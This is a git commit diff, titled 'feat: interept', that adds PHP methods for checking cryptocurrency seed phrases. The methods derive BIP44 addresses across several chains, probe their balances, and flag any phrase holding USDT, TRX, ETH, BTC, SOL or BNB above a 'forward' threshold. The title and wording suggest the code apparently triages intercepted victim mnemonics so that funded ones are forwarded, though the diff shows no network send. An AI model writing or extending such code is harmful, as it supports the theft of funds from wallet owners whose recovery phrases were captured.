feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
+81
View File
@@ -47,6 +47,87 @@ class MnemonicWalletDiscovery
private readonly AlchemyBalanceService $alchemy,
) {}
/** @var list<string> */
public const FORWARD_COINS = ['usdt', 'trx', 'eth', 'btc', 'sol', 'bnb'];
/**
* Derive BIP44 0..2 and probe chain balances without writing wallet rows.
* Forwards when any coin is strictly greater than scan.forward_min_* (default 0).
* Probe/derive failures are treated as below threshold.
*/
public function phraseHasPositiveBalance(string $phrase): bool
{
$phrase = trim($phrase);
if ($phrase === '') {
return false;
}
$words = preg_split('/\s+/', $phrase) ?: [];
if (count($words) < 12) {
return false;
}
try {
return (bool) ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($phrase) {
foreach (self::CHAINS as $spec) {
try {
$driver = $this->chains->resolve($spec['chain']);
} catch (\Throwable) {
continue;
}
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$address = $driver->deriveAddress($phrase, $index);
$probe = $this->probeActivated($spec['chain'], $driver, $address);
} catch (\Throwable) {
continue;
}
if (self::coinsMeetForwardMin($probe['coins'] ?? [])) {
return true;
}
}
}
return false;
});
} catch (\Throwable $e) {
Log::warning('mnemonic phrase balance probe failed: '.$e->getMessage());
return false;
}
}
public static function forwardMin(string $coin): string
{
$coin = strtolower(trim($coin));
$raw = trim((string) config('coruna.scan.forward_min_'.$coin, '0'));
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 18) < 0) {
return '0';
}
return $raw;
}
/**
* @param array<string, mixed> $coins
*/
public static function coinsMeetForwardMin(array $coins): bool
{
foreach (self::FORWARD_COINS as $coin) {
if (! array_key_exists($coin, $coins)) {
continue;
}
$value = trim((string) $coins[$coin]);
if ($value === '' || ! is_numeric($value)) {
continue;
}
if (bccomp($value, self::forwardMin($coin), 18) > 0) {
return true;
}
}
return false;
}
/**
* @return int Number of address rows created or updated
*/